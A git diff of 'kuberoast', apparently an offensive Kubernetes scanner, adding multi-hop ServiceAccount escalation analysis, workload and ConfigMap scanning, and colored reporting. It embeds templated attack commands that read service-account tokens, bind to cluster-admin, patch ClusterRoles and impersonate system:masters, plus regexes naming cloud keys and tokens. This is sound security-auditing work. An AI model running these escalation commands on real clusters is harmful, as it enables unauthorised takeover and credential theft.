reproducible attacker tradecraft +3. Include `exploit`, `impact`, and `attack_techniques` where applicable 4. Run `pytest` before submitting ## License @@ -356,7 +452,7 @@ MIT — see [LICENSE](./LICENSE). ## 📚 Documentation & Author -This project's full writeup, methodology, and related research lives at: +Project writeup, methodology, and related research: **[https://snailsploit.com/tools](https://snailsploit.com/tools)** diff --git a/kuberoast/__init__.py b/kuberoast/__init__.py index a9a2c5b..96f1e7f 100644 --- a/kuberoast/__init__.py +++ b/kuberoast/__init__.py @@ -1 +1,2 @@ -__all__ = [] +__version__ = "0.3.0" +__all__ = ["__version__"] diff --git a/kuberoast/attackpaths/sa_chains.py b/kuberoast/attackpaths/sa_chains.py new file mode 100644 index 0000000..2cda15a --- /dev/null +++ b/kuberoast/attackpaths/sa_chains.py @@ -0,0 +1,322 @@ +"""Multi-hop ServiceAccount → ServiceAccount escalation paths. + +The existing `rbac_escalation.py` flags principals that have risky 1-hop +capabilities (e.g. "this SA can bind RoleBindings"). Real attackers chain +those primitives: SA1 can create pods → SA1 launches pod as SA2 → SA2 +has cluster-admin via existing binding → done. + +This module builds a directed escalation graph over principals and +finds shortest paths from any non-admin principal to a target with +cluster-wide write power. Each path becomes one finding with the +intermediate hops spelled out and a per-hop PoC. + +Edges considered: + + * SA-A can `create pods` in NS where SA-B exists → SA-A can mint a pod + with serviceAccountName: SA-B and inherit its identity. + * SA-A can `create pods/exec` on a pod running as SA-B → exec into it, + read /var/run/secrets/kubernetes.io/serviceaccount/token, become SA-B. + * SA-A can `update`/`patch` deployments/statefulsets/daemonsets/jobs in + NS where SA-B is referenced → mutate template.spec.serviceAccountName, + wait for rollout, inherit SA-B. + * SA-A can `create`/`update` RoleBindings/ClusterRoleBindings → bind + self (or any subject) to any Role, including cluster-admin. + * SA-A can `escalate` on roles → grant self extra permissions in any + existing Role (no need for cluster-admin). + * SA-A can `impersonate` users/groups/serviceaccounts → directly act as + target. + * SA-A can `create serviceaccounts/token` → mint a bound token for any + SA they can name. + +Targets we consider terminal: + * cluster-admin via direct binding + * any principal with verbs * resources * (effective cluster-admin) + * any principal with `update nodes` (can move pods, label-spoof for IRSA) + * any principal with `get secrets *` (read every secret in cluster) +""" +from collections import defaultdict, deque +from typing import Dict, List, Set, Tuple, Optional, DefaultDict +from ..utils.findings import Finding + + +def _principal_id(kind: str, name: str, namespace: Optional[str] = None) -> str: + if kind == "ServiceAccount" and namespace: + return f"sa:{namespace}:{name}" + return f"{kind.lower()}:{name}" + + +def _has_perm(perms: Set[Tuple[str, str]], verb: str, resource: str) -> bool: + return ( + (verb, resource) in perms + or (verb, "*") in perms + or ("*", resource) in perms + or ("*", "*") in perms + ) + + +def _is_terminal_admin(perms: Set[Tuple[str, str]]) -> Tuple[bool, str]: + """Return (is_admin, reason).""" + if ("*", "*") in perms: + return True, "wildcard verbs on wildcard resources (effective cluster-admin)" + if _has_perm(perms, "get", "secrets") and _has_perm(perms, "list", "secrets"): + # Reading every secret in cluster is game-over-grade. + return True, "can read all secrets (credential exfiltration enables full cluster takeover)" + return False, "" + + +def _build_principal_perms(roles, croles, rbs, crbs) -> Tuple[ + DefaultDict[str, Set[Tuple[str, str]]], + DefaultDict[str, Set[str]], + DefaultDict[str, Set[str]], +]: + """Return (perms_per_principal, role_keys_per_principal, role_namespaces_per_principal).""" + role_rules: Dict[str, List] = {} + for r in roles: + role_rules[f"Role/{r.metadata.namespace}/{r.metadata.name}"] = list(r.rules or []) + for cr in croles: + role_rules[f"ClusterRole/{cr.metadata.name}"] = list(cr.rules or []) + + principal_roles: DefaultDict[str, Set[str]] = defaultdict(set) + principal_namespaces: DefaultDict[str, Set[str]] = defaultdict(set) + + def add_binding(b, is_crb=False): + rr = b.role_ref + if is_crb or rr.kind == "ClusterRole": + role_key = f"ClusterRole/{rr.name}" + binding_ns = None + else: + binding_ns = b.metadata.namespace + role_key = f"Role/{binding_ns}/{rr.name}" + for s in (b.subjects or []): + ns = getattr(s, "namespace", None) + pid = _principal_id(s.kind, s.name, ns) + principal_roles[pid].add(role_key) + # track which namespaces a principal has any binding in + if binding_ns: + principal_namespaces[pid].add(binding_ns) + elif ns: + principal_namespaces[pid].add(ns) + + for b in rbs: + add_binding(b, is_crb=False) + for b in crbs: + add_binding(b, is_crb=True) + + principal_perms: DefaultDict[str, Set[Tuple[str, str]]] = defaultdict(set) + for p, rset in principal_roles.items(): + for rk in rset: + for rule in role_rules.get(rk, []): + verbs = set(rule.verbs or []) + resources = set(rule.resources or []) + for v in verbs: + for res in resources: + principal_perms[p].add((v, res)) + + return principal_perms, principal_roles, principal_namespaces + + +def _build_edges( + principal_perms: DefaultDict[str, Set[Tuple[str, str]]], + sa_to_pods: Dict[str, Set[Tuple[str, str]]], + all_principals: Set[str], +) -> DefaultDict[str, List[Tuple[str, str, str]]]: + """Build edges principal → (target_principal, reason, poc_command). + + Edges represent: "principal A can become principal B via this primitive." + For broad primitives like 'can create rolebindings' we add an edge to + every other principal because A can always bind to ANY role. + """ + edges: DefaultDict[str, List[Tuple[str, str, str]]] = defaultdict(list) + + sa_principals = [p for p in all_principals if p.startswith("sa:")] + + for principal, perms in principal_perms.items(): + # 1. create pods → become any SA in the same namespace + if _has_perm(perms, "create", "pods"): + ns = principal.split(":", 2)[1] if principal.startswith("sa:") else None + for sa in sa_principals: + if sa == principal: + continue + sa_ns = sa.split(":", 2)[1] + if ns and sa_ns != ns: + continue + edges[principal].append(( + sa, + "create a pod with serviceAccountName set to target SA", + f"kubectl run pwn --image=busybox --serviceaccount={sa.split(':')[-1]} -n {sa_ns} -- sleep 999\n" + f"kubectl exec -n {sa_ns} pwn -- cat /var/run/secrets/kubernetes.io/serviceaccount/token", + )) + + # 2. exec into pods → become the SA that runs the target pod + if _has_perm(perms, "create", "pods/exec") or _has_perm(perms, "get", "pods/exec"): + for sa, pods in sa_to_pods.items(): + if sa == principal: + continue + for ns, pod_name in pods: + edges[principal].append(( + sa, + f"exec into pod {ns}/{pod_name} which runs as target SA", + f"kubectl exec -n {ns} {pod_name} -- cat /var/run/secrets/kubernetes.io/serviceaccount/token", + )) + break # one example pod per SA is enough + + # 3. update workload templates → swap serviceAccountName, wait for rollout + if _has_perm(perms, "update", "deployments") or _has_perm(perms, "patch", "deployments"): + for sa in sa_principals: + if sa == principal: + continue + ns = sa.split(":", 2)[1] + sa_name = sa.split(":")[-1] + edges[principal].append(( + sa, + f"patch any Deployment in {ns} to use serviceAccountName={sa_name}", + f"kubectl patch deployment -n {ns} -p '{{\"spec\":{{\"template\":{{\"spec\":{{\"serviceAccountName\":\"{sa_name}\"}}}}}}}}'", + )) + + # 4. create/update RoleBindings → bind self to any role (including cluster-admin) + if ( + _has_perm(perms, "create", "rolebindings") + or _has_perm(perms, "create", "clusterrolebindings") + or _has_perm(perms, "update", "rolebindings") + or _has_perm(perms, "update", "clusterrolebindings") + ): + # synthetic "cluster-admin" target + edges[principal].append(( + "ClusterRole/cluster-admin", + "bind self to cluster-admin via (Cluster)RoleBinding write", + "kubectl create clusterrolebinding pwn --clusterrole=cluster-admin --serviceaccount=:", + )) + + # 5. escalate verb → grant self any verbs on existing roles + if _has_perm(perms, "escalate", "roles") or _has_perm(perms, "escalate", "clusterroles"): + edges[principal].append(( + "ClusterRole/cluster-admin", + "use escalate verb to elevate existing role with cluster-admin verbs", + "kubectl patch clusterrole --type=json -p='[{\"op\":\"add\",\"path\":\"/rules/-\",\"value\":{\"apiGroups\":[\"*\"],\"resources\":[\"*\"],\"verbs\":[\"*\"]}}]'", + )) + + # 6. impersonate → directly act as target + if _has_perm(perms, "impersonate", "users") or _has_perm(perms, "impersonate", "serviceaccounts") or _has_perm(perms, "impersonate", "groups"): + edges[principal].append(( + "*:system:masters", + "impersonate system:masters group (cluster-admin)", + "kubectl --as=system:admin --as-group=system:masters get pods --all-namespaces", + )) + + # 7. token request abuse — mint token for any SA + if _has_perm(perms, "create", "serviceaccounts/token"): + for sa in sa_principals: + if sa == principal: + continue + ns = sa.split(":", 2)[1] + sa_name = sa.split(":")[-1] + edges[principal].append(( + sa, + f"request bound token for {sa} via TokenRequest API", + f"kubectl create token {sa_name} -n {ns}", + )) + + return edges + + +def _bfs_paths(edges, start: str, terminals: Set[str], max_depth: int = 4) -> Optional[List[Tuple[str, str, str]]]: + """Return shortest path from start to any terminal as list of (next_principal, reason, poc).""" + if start in terminals: + return [] + visited = {start} + queue = deque([(start, [])]) # (current, path_so_far) + while queue: + current, path = queue.popleft() + if len(path) >= max_depth: + continue + for (nxt, reason, poc) in edges.get(current, []): + if nxt in visited: + continue + new_path = path + [(nxt, reason, poc)] + if nxt in terminals or nxt == "ClusterRole/cluster-admin" or nxt == "*:system:masters": + return new_path + visited.add(nxt) + queue.append((nxt, new_path)) + return None + + +def analyze_sa_chains(roles, croles, rbs, crbs, pods) -> List[Finding]: + """Discover multi-hop escalation chains and emit one finding per chain.""" + findings: List[Finding] = [] + + principal_perms, _principal_roles, _principal_ns = _build_principal_perms(roles, croles, rbs, crbs) + + # SA → pods running it (each pod recorded as (namespace, pod_name)) + sa_to_pods: Dict[str, Set[Tuple[str, str]]] = defaultdict(set) + for pod in pods: + ns = pod.metadata.namespace + pname = pod.metadata.name + sa = (pod.spec.service_account_name or "default") if pod.spec else "default" + sa_to_pods[f"sa:{ns}:{sa}"].add((ns, pname)) + + all_principals = set(principal_perms.keys()) | set(sa_to_pods.keys()) + + # Find terminal principals (those with effective admin) + terminals: Set[str] = set() + terminal_reasons: Dict[str, str] = {} + for p, perms in principal_perms.items(): + is_term, why = _is_terminal_admin(perms) + if is_term: + terminals.add(p) + terminal_reasons[p] = why + + edges = _build_edges(principal_perms, sa_to_pods, all_principals) + + # For each non-terminal principal, BFS for a chain to a terminal + for start in all_principals: + if start in terminals: + continue + # Skip system principals that are *expected* to have admin reach + if start.startswith("sa:kube-system:") or start in ("user:system:admin", "group:system:masters"): + continue + path = _bfs_paths(edges, start, terminals, max_depth=4) + if path is None or not path: + continue + # Build a human-readable chain + hops = [f"{start}"] + steps = [] + for (next_p, reason, poc) in path: + hops.append(next_p) + steps.append(f" - {reason}\n PoC: {poc}") + terminal = path[-1][0] + terminal_reason = terminal_reasons.get(terminal, "cluster-admin via binding") + hop_count = len(path) + sev = "critical" if hop_count <= 2 else "high" + chain_str = " → ".join(hops) + steps_str = "\n".join(steps) + + # Use a finding ID that's deterministic per start principal so re-runs are stable + findings.append(Finding( + id="AP-CHAIN", + title=f"Escalation chain ({hop_count} hop): {start} → cluster-admin", + description=( + f"Principal {start} can reach cluster-admin in {hop_count} step(s).\n\n" + f"Chain: {chain_str}\n\n" + f"Steps:\n{steps_str}\n\n" + f"Terminal capability: {terminal_reason}" + ), + severity=sev, + category="AttackPath", + resource=start, + exploitability="trivial" if hop_count == 1 else "easy" if hop_count == 2 else "moderate", + exploit=steps[0].strip() if steps else None, + impact=f"Full cluster compromise via {hop_count}-hop escalation. Pods running this principal effectively run as cluster-admin.", + attack_techniques=["T1078.004", "T1098.003"], + remediation=( + "Break the chain at the earliest hop. Common fixes: remove `create pods` and " + "`pods/exec` from non-admin SAs; never grant `bind`/`escalate`/`impersonate`; " + "deny `update` on workload templates that reference privileged SAs." + ), + references=[ + "https://attack.mitre.org/techniques/T1098/003/", + "https://kubernetes.io/docs/reference/access-authn-authz/rbac/", + "https://raesene.github.io/blog/2021/01/16/Getting-Into-A-Bind-with-Kubernetes/", + ], + )) + + return findings diff --git a/kuberoast/cli.py b/kuberoast/cli.py index 5f3451a..174c605 100644 --- a/kuberoast/cli.py +++ b/kuberoast/cli.py @@ -1,32 +1,85 @@ -import argparse, logging, sys -from typing import List -from .utils.kube import load_clients, list_all_pods, list_all_nodes, list_rbac, list_all_secrets, list_all_namespaces, list_all_services, list_all_ingresses, list_all_crds +import argparse +import logging +import sys +import textwrap +from typing import List, Optional + +from . import __version__ +from .utils import colors as c +from .utils.kube import ( + load_clients, + list_all_pods, list_all_nodes, list_rbac, list_all_secrets, + list_all_namespaces, list_all_services, list_all_ingresses, list_all_crds, + list_all_configmaps, list_all_deployments, list_all_statefulsets, + list_all_daemonsets, list_all_jobs, list_all_cronjobs, + list_validating_webhooks, list_mutating_webhooks, +) +from .utils.findings import Finding +from .utils.workloads import iter_workload_pods, relabel_workload_findings from .scanners.pods import scan_pod_security from .scanners.nodes import scan_nodes +from .scanners.kubelet import scan_kubelet from .scanners.rbac import scan_rbac from .scanners.secrets import scan_secrets from .scanners.pss import scan_namespace_pss from .scanners.network import scan_services, scan_ingresses from .scanners.policy import scan_policy_engines +from .scanners.escapes import scan_escapes +from .scanners.configmaps import scan_configmaps +from .scanners.tokens import scan_tokens +from .scanners.webhooks import scan_webhooks from .attackpaths.rbac_escalation import analyze_attack_paths +from .attackpaths.sa_chains import analyze_sa_chains from .reporting import json as json_report, text as text_report, html as html_report -from .utils.findings import Finding logger = logging.getLogger("kuberoast") SEVERITY_ORDER = {"info": 0, "low": 1, "medium": 2, "high": 3, "critical": 4} +# Workload kinds we cover beyond bare Pods. +WORKLOAD_LISTERS = [ + ("Deployment", "apps", list_all_deployments), + ("StatefulSet", "apps", list_all_statefulsets), + ("DaemonSet", "apps", list_all_daemonsets), + ("Job", "batch", list_all_jobs), + ("CronJob", "batch", list_all_cronjobs), +] + + +def _scan_pod_collection(pods, kind: str = "Pod") -> List[Finding]: + """Run pod-level scanners (security + escape) across a collection of pod-like objects.""" + out: List[Finding] = [] + for p in pods: + out.extend(scan_pod_security(p)) + out.extend(scan_escapes(p)) + return out + def run_cluster_scan(args) -> List[Finding]: ns = getattr(args, "namespace", None) clients = load_clients(kubeconfig=getattr(args, "kubeconfig", None)) - core, rbac_api, networking, apiext = clients["core"], clients["rbac"], clients["networking"], clients["apiextensions"] + core = clients["core"] + apps = clients["apps"] + batch = clients["batch"] + rbac_api = clients["rbac"] + networking = clients["networking"] + apiext = clients["apiextensions"] + admission = clients["admission"] + findings: List[Finding] = [] logger.info("Scanning pods...") pods = list_all_pods(core, namespace=ns) - for p in pods: - findings.extend(scan_pod_security(p)) + findings.extend(_scan_pod_collection(pods)) + + # Workloads: extract pod templates and run pod-level scanners on each + logger.info("Scanning workload templates (Deployment/StatefulSet/DaemonSet/Job/CronJob)...") + client_for = {"apps": apps, "batch": batch} + for kind, client_key, lister in WORKLOAD_LISTERS: + workloads = lister(client_for[client_key], namespace=ns) + for synth_pod, _kind, name in iter_workload_pods(workloads, kind): + wl_findings = _scan_pod_collection([synth_pod]) + findings.extend(relabel_workload_findings(wl_findings, kind, name)) logger.info("Scanning namespace PSS labels...") nslist = list_all_namespaces(core) @@ -37,18 +90,28 @@ def run_cluster_scan(args) -> List[Finding]: findings.extend(scan_rbac(roles, croles, rbs, crbs)) if not args.skip_nodes: - logger.info("Scanning nodes...") + logger.info("Scanning nodes (TCP + active kubelet probes)...") nodes = list_all_nodes(core) - findings.extend(scan_nodes(nodes)) + findings.extend(scan_nodes(nodes)) # legacy TCP probe (kept for backwards-compat) + if not args.skip_kubelet_probe: + findings.extend(scan_kubelet(nodes)) if not args.skip_secrets: logger.info("Scanning secrets...") secrets = list_all_secrets(core, namespace=ns) findings.extend(scan_secrets(secrets)) + findings.extend(scan_tokens(secrets)) + + if not args.skip_configmaps: + logger.info("Scanning ConfigMaps for credential leakage...") + configmaps = list_all_configmaps(core, namespace=ns) + findings.extend(scan_configmaps(configmaps)) if not args.skip_attack_paths: - logger.info("Analyzing RBAC attack paths...") + logger.info("Analyzing 1-hop RBAC attack paths...") findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods)) + logger.info("Analyzing multi-hop RBAC escalation chains...") + findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods)) logger.info("Scanning services...") services = list_all_services(core, namespace=ns) @@ -58,6 +121,12 @@ def run_cluster_scan(args) -> List[Finding]: ingresses = list_all_ingresses(networking, namespace=ns) findings.extend(scan_ingresses(ingresses)) + if not args.skip_webhooks: + logger.info("Auditing admission webhooks...") + validating = list_validating_webhooks(admission) + mutating = list_mutating_webhooks(admission) + findings.extend(scan_webhooks(validating, mutating)) + logger.info("Detecting policy engines...") crds = list_all_crds(apiext) findings.extend(scan_policy_engines(crds)) @@ -65,56 +134,185 @@ def run_cluster_scan(args) -> List[Finding]: return findings +def run_manifest_scan(path: str) -> List[Finding]: + """Offline scan of manifests under `path`. Same rules as live cluster, no API access.""" + from .utils.manifests import load_manifests + grouped = load_manifests(path) + + findings: List[Finding] = [] + + pods = grouped.get("Pod", []) + findings.extend(_scan_pod_collection(pods)) + + # Workloads + workload_kinds = ["Deployment", "StatefulSet", "DaemonSet", "Job", "CronJob", "ReplicaSet", "ReplicationController"] + for kind in workload_kinds: + workloads = grouped.get(kind, []) + for synth_pod, _kind, name in iter_workload_pods(workloads, kind): + wl_findings = _scan_pod_collection([synth_pod]) + findings.extend(relabel_workload_findings(wl_findings, kind, name)) + + # PSS labels on namespaces (only if they're present in the manifests) + nslist = grouped.get("Namespace", []) + if nslist: + findings.extend(scan_namespace_pss(nslist)) + + # RBAC + roles = grouped.get("Role", []) + croles = grouped.get("ClusterRole", []) + rbs = grouped.get("RoleBinding", []) + crbs = grouped.get("ClusterRoleBinding", []) + if roles or croles or rbs or crbs: + findings.extend(scan_rbac(roles, croles, rbs, crbs)) + findings.extend(analyze_attack_paths(roles, croles, rbs, crbs, pods)) + findings.extend(analyze_sa_chains(roles, croles, rbs, crbs, pods)) + + # Network + services = grouped.get("Service", []) + if services: + findings.extend(scan_services(services)) + ingresses = grouped.get("Ingress", []) + if ingresses: + findings.extend(scan_ingresses(ingresses)) + + # Secrets (manifests rarely contain them but support it) + secrets = grouped.get("Secret", []) + if secrets: + findings.extend(scan_secrets(secrets)) + findings.extend(scan_tokens(secrets)) + + # ConfigMaps + configmaps = grouped.get("ConfigMap", []) + if configmaps: + findings.extend(scan_configmaps(configmaps)) + + # Webhooks + validating = grouped.get("ValidatingWebhookConfiguration", []) + mutating = grouped.get("MutatingWebhookConfiguration", []) + if validating or mutating: + findings.extend(scan_webhooks(validating, mutating)) + + return findings + + def _max_severity(findings: List[Finding]) -> int: if not findings: return 0 return max(SEVERITY_ORDER.get(f.severity, 0) for f in findings) +BANNER = r""" + __ __ __ + / /____ ___/ /_ ___ ______ ___ ___ ____ / /_ + / '_/ // / _ / -_)_ /__/ _ \/ _ `(_-< /__/ __/ +/_/\_\\_,_/\_,_/\__//_/_/ \___/\_,_/___/ \__/ +""" + + +def _print_banner(): + if not c.supported(): + return + print(c.cyan(BANNER), file=sys.stderr) + print(c.dim(f" offensive K8s scanner · v{__version__}"), file=sys.stderr) + print("", file=sys.stderr) + + +EPILOG = textwrap.dedent("""\ + Examples: + + # Quick interactive scan of current cluster context + kuberoast --report text + + # Pre-deploy: scan a directory of YAML/JSON manifests + kuberoast --manifests ./k8s/ + + # CI gate: fail the build on critical, machine-readable output + kuberoast --fail-on critical --report json > scan.json + + # Operator triage: only show stuff an attacker can actually exploit today + kuberoast --min-exploitability easy --report text + + # Big cluster: skip the slow probes + kuberoast --skip-kubelet-probe --skip-configmaps -n prod + + Find docs and recent research at https://snailsploit.com/tools + """) + + def main(argv=None) -> int: - ap = argparse.ArgumentParser(description="kuberoast - offensive K8s misconfig & attack-path scanner") + ap = argparse.ArgumentParser( + prog="kuberoast", + description="Offensive Kubernetes misconfig & attack-path scanner. " + "Read-only; safe to run in prod. Built for real-world escalation paths, not checklists.", + epilog=EPILOG, + formatter_class=argparse.RawDescriptionHelpFormatter, + ) + ap.add_argument("--version", action="version", version=f"kuberoast {__version__}") + ap.add_argument("--no-color", action="store_true", help="Disable ANSI colors in text output") ap.add_argument("--report", choices=["json", "text", "html"], default="json", help="Output format") ap.add_argument("--out", help="Write report to file (required for HTML)") - ap.add_argument("--skip-nodes", action="store_true", help="Skip node/kubelet probes") - ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics") + ap.add_argument("--skip-nodes", action="store_true", help="Skip all node-level probes") + ap.add_argument("--skip-kubelet-probe", action="store_true", + help="Skip active kubelet HTTP probing (still does TCP-port check)") + ap.add_argument("--skip-secrets", action="store_true", help="Skip secret heuristics + token analysis") + ap.add_argument("--skip-configmaps", action="store_true", help="Skip ConfigMap credential hunt") ap.add_argument("--skip-attack-paths", action="store_true", help="Skip RBAC attack-path analysis") - ap.add_argument("--manifests", help="Directory of YAML/JSON manifests to scan (MVP)") + ap.add_argument("--skip-webhooks", action="store_true", help="Skip admission webhook audit") + ap.add_argument("--manifests", help="Directory or file of YAML/JSON manifests to scan offline (shift-left mode)") ap.add_argument("--provider", choices=["generic", "eks", "aks", "gke"], default="generic", help="Cloud provider for context-aware remediation advice") ap.add_argument("--kubeconfig", help="Path to kubeconfig file (defaults to ~/.kube/config)") ap.add_argument("--namespace", "-n", help="Limit scan to a specific namespace") ap.add_argument("--min-severity", choices=["info", "low", "medium", "high", "critical"], default="info", help="Only include findings at or above this severity") + ap.add_argument("--min-exploitability", choices=["theoretical", "hard", "moderate", "easy", "trivial"], + default=None, help="Only include findings at or above this exploitability level") ap.add_argument("--fail-on", choices=["info", "low", "medium", "high", "critical"], - default=None, help="Exit with code 1 if any finding meets or exceeds this severity") + default=None, help="Exit code 1 if any finding meets or exceeds this severity") ap.add_argument("-v", "--verbose", action="store_true", help="Enable verbose logging") args = ap.parse_args(argv) + if args.no_color: + c.force_disable() + logging.basicConfig( level=logging.DEBUG if args.verbose else logging.WARNING, - format="%(levelname)s: %(message)s", + format=f" {c.dim('·')} %(message)s" if c.supported() else "%(message)s", stream=sys.stderr, ) - if args.manifests: - logger.error("Manifest mode not yet implemented. Use cluster mode.") - return 2 + if args.verbose and args.report == "text": + _print_banner() if args.report == "html" and not args.out: logger.error("--report html requires --out FILE") return 2 try: - findings = run_cluster_scan(args) + if args.manifests: + findings = run_manifest_scan(args.manifests) + else: + findings = run_cluster_scan(args) except Exception as e: logger.error("Scan failed: %s", e) + if args.verbose: + import traceback + traceback.print_exc(file=sys.stderr) return 2 # Filter by minimum severity min_sev = SEVERITY_ORDER[args.min_severity] findings = [f for f in findings if SEVERITY_ORDER.get(f.severity, 0) >= min_sev] - # Pass provider to reporters for context-aware remediation + # Filter by minimum exploitability (if set) + if args.min_exploitability: + EXPL_ORDER = {"theoretical": 0, "hard": 1, "moderate": 2, "easy": 3, "trivial": 4} + thresh = EXPL_ORDER[args.min_exploitability] + findings = [ + f for f in findings + if f.exploitability and EXPL_ORDER.get(f.exploitability, 0) >= thresh + ] + if args.report == "json": output = json_report.emit(findings) elif args.report == "html": @@ -129,7 +327,6 @@ def main(argv=None) -> int: else: print(output) - # Exit code based on --fail-on threshold if args.fail_on: threshold = SEVERITY_ORDER[args.fail_on] if _max_severity(findings) >= threshold: @@ -137,5 +334,6 @@ def main(argv=None) -> int: return 0 + if __name__ == "__main__": raise SystemExit(main()) diff --git a/kuberoast/reporting/text.py b/kuberoast/reporting/text.py index 91ec2f7..78e3d96 100644 --- a/kuberoast/reporting/text.py +++ b/kuberoast/reporting/text.py @@ -1,34 +1,87 @@ from collections import Counter from typing import List + from ..utils.findings import Finding +from ..utils import colors as c SEVERITY_ORDER = ["critical", "high", "medium", "low", "info"] +def _indent(text: str, prefix: str = " ") -> str: + return "\n".join(prefix + line for line in (text or "").splitlines()) + + +def _bar(counts, total: int, width: int = 40) -> str: + """Render a tiny severity histogram bar (TTY-safe).""" + out = [] + for sev in SEVERITY_ORDER: + n = counts.get(sev, 0) + if n == 0: + continue + slots = max(1, round(n / total * width)) if total else 0 + block = "█" * slots + out.append(c.SEVERITY_COLORS.get(sev, lambda s: s)(block)) + return "".join(out) + + def emit(findings: List[Finding]) -> str: if not findings: - return "No findings." + return c.green("✓ No findings.") lines: list[str] = [] - # Summary header counts = Counter(f.severity for f in findings) - summary_parts = [f"{counts.get(s, 0)} {s}" for s in SEVERITY_ORDER if counts.get(s, 0)] - lines.append(f"=== kuberoast scan: {len(findings)} findings ({', '.join(summary_parts)}) ===") + total = len(findings) + + # Headline lines.append("") + lines.append(c.bold(f" kuberoast ") + c.dim(f"· {total} findings")) + lines.append("") + bar = _bar(counts, total) + if bar: + legend = " ".join( + f"{c.sev(s)} {counts.get(s, 0)}" + for s in SEVERITY_ORDER if counts.get(s, 0) + ) + lines.append(f" {bar}") + lines.append(f" {legend}") + lines.append("") + + # Exploitability summary + exp_counts = Counter(f.exploitability for f in findings if f.exploitability) + if exp_counts: + exp_legend = " ".join( + f"{c.exploit(lvl)} {exp_counts[lvl]}" + for lvl in ("trivial", "easy", "moderate", "hard", "theoretical") + if exp_counts.get(lvl) + ) + lines.append(f" {c.dim('Exploitability:')} {exp_legend}") + lines.append("") - # Group by severity, ordered critical -> info + # Findings grouped by severity for sev in SEVERITY_ORDER: group = [f for f in findings if f.severity == sev] if not group: continue - lines.append(f"--- {sev.upper()} ({len(group)}) ---") + lines.append(c.bold(f" {sev.upper()} ") + c.dim(f"({len(group)})")) + lines.append(c.dim(" " + "─" * 60)) for f in group: - lines.append(f" [{f.severity.upper()}] {f.title}") - lines.append(f" Resource: {f.resource or '-'}") - lines.append(f" Description: {f.description}") + tag = f"[{c.sev(f.severity)}]" + if f.exploitability: + tag = f"{tag} {c.exploit(f.exploitability)}" + lines.append(f" {tag} {c.bold(f.title)}") + lines.append(f" {c.dim('id:')} {f.id}") + lines.append(f" {c.dim('resource:')} {f.resource or '-'}") + lines.append(f" {c.dim('summary:')} {f.description.splitlines()[0]}") + if f.impact: + lines.append(f" {c.dim('impact:')} {f.impact}") + if f.exploit: + lines.append(f" {c.dim('poc:')}") + lines.append(_indent(f.exploit, " " + c.cyan("│ "))) + if f.attack_techniques: + lines.append(f" {c.dim('att&ck:')} {', '.join(f.attack_techniques)}") if f.remediation: - lines.append(f" Remediation: {f.remediation}") + lines.append(f" {c.dim('fix:')} {f.remediation}") lines.append("") return "\n".join(lines) diff --git a/kuberoast/scanners/configmaps.py b/kuberoast/scanners/configmaps.py new file mode 100644 index 0000000..ec4ea7d --- /dev/null +++ b/kuberoast/scanners/configmaps.py @@ -0,0 +1,136 @@ +"""ConfigMap credential hunting. + +ConfigMaps aren't supposed to hold secrets — but in practice they do, all +the time. Common patterns we look for: + + * `application.yaml` / `config.json` with `password:` / `apiKey:` fields + * AWS access keys (AKIA…), GCP service account JSON, Azure storage keys + * private SSH/TLS keys committed to ConfigMaps for "convenience" + * .env-style key=value with credential-like keys + * JDBC/connection strings with embedded credentials + * Slack/Discord/GitHub tokens (xoxb-…, ghp_…, ghs_…) + +Patterns are calibrated against real attacker triage: high-signal regexes +that minimize false positives. Each match emits the literal substring that +matched so the operator can validate without a separate decoder. +""" +import re +from typing import List +from ..utils.findings import Finding + + +# (id, pattern, description, severity) +CREDENTIAL_PATTERNS = [ + ("aws-akid", re.compile(r"\bAKIA[0-9A-Z]{16}\b"), + "AWS Access Key ID", "critical"), + ("aws-secret", re.compile(r"(?i)aws.{0,20}?(secret|access)[\W_]{0,5}[a-z0-9/+=]{40}"), + "AWS-style secret access key", "high"), + ("gcp-sa-json", re.compile(r'"type"\s*:\s*"service_account"'), + "GCP service account JSON", "critical"), + ("private-key-pem", re.compile(r"-----BEGIN (?:RSA |DSA |EC |OPENSSH |)PRIVATE KEY-----"), + "PEM private key", "critical"), + ("ssh-private", re.compile(r"-----BEGIN OPENSSH PRIVATE KEY-----"), + "OpenSSH private key", "critical"), + ("slack-bot", re.compile(r"xox[baprs]-[A-Za-z0-9-]{10,}"), + "Slack token", "high"), + ("github-pat", re.compile(r"\bghp_[A-Za-z0-9]{36}\b"), + "GitHub personal access token", "high"), + ("github-server", re.compile(r"\bghs_[A-Za-z0-9]{36}\b"), + "GitHub server token", "high"), + ("github-app", re.compile(r"\bgho_[A-Za-z0-9]{36}\b"), + "GitHub OAuth token", "high"), + ("jwt", re.compile(r"\beyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\b"), + "JWT (may grant API access)", "medium"), + ("jdbc-url", re.compile(r"(?i)jdbc:[a-z]+://[^\s\"']*?:[^\s\"'@]+@"), + "JDBC URL with embedded credentials", "high"), + ("generic-url", re.compile(r"(?i)https?://[^\s\"':/]+:[^\s\"'@/]{6,}@"), + "URL with embedded credentials", "high"), + ("password-yaml", re.compile(r"(?im)^\s*(?:password|passwd|pwd)\s*[:=]\s*['\"]?[^\s'\"#]{6,}"), + "Plaintext password in config", "medium"), + ("apikey", re.compile(r"(?i)(?:api[_-]?key|api[_-]?secret|access[_-]?token)\s*[:=]\s*['\"]?[A-Za-z0-9._-]{16,}"), + "API key/token in config", "medium"), + ("azure-conn", re.compile(r"DefaultEndpointsProtocol=https?;AccountName=[^;]+;AccountKey=[A-Za-z0-9+/=]{40,}"), + "Azure storage connection string", "high"), +] + + +def _scan_value(key: str, value: str, name: str, ns: str) -> List[Finding]: + findings: List[Finding] = [] + if not value: + return findings + # Truncate ridiculously large values; we still scan the first 200KB. + if len(value) > 200_000: + value = value[:200_000] + for pat_id, regex, label, sev in CREDENTIAL_PATTERNS: + m = regex.search(value) + if not m: + continue + match_text = m.group(0) + # Redact long matches so we don't echo the whole secret + if len(match_text) > 60: + shown = match_text[:30] + "…(truncated)" + else: + # Show first-3, last-3 to confirm identity without leaking the full secret + shown = match_text[:6] + "…" + match_text[-4:] if len(match_text) > 12 else match_text + findings.append(Finding( + id=f"CM-LEAK-{pat_id.upper()}", + title=f"Credential in ConfigMap: {label}", + description=( + f"ConfigMap {name} key '{key}' matches a high-signal credential pattern ({label}). " + f"Match (redacted): {shown}" + ), + severity=sev, + category="ConfigMaps", + namespace=ns, + resource=f"configmap/{name}", + exploitability="trivial", + exploit=( + f"kubectl -n {ns} get configmap {name} -o 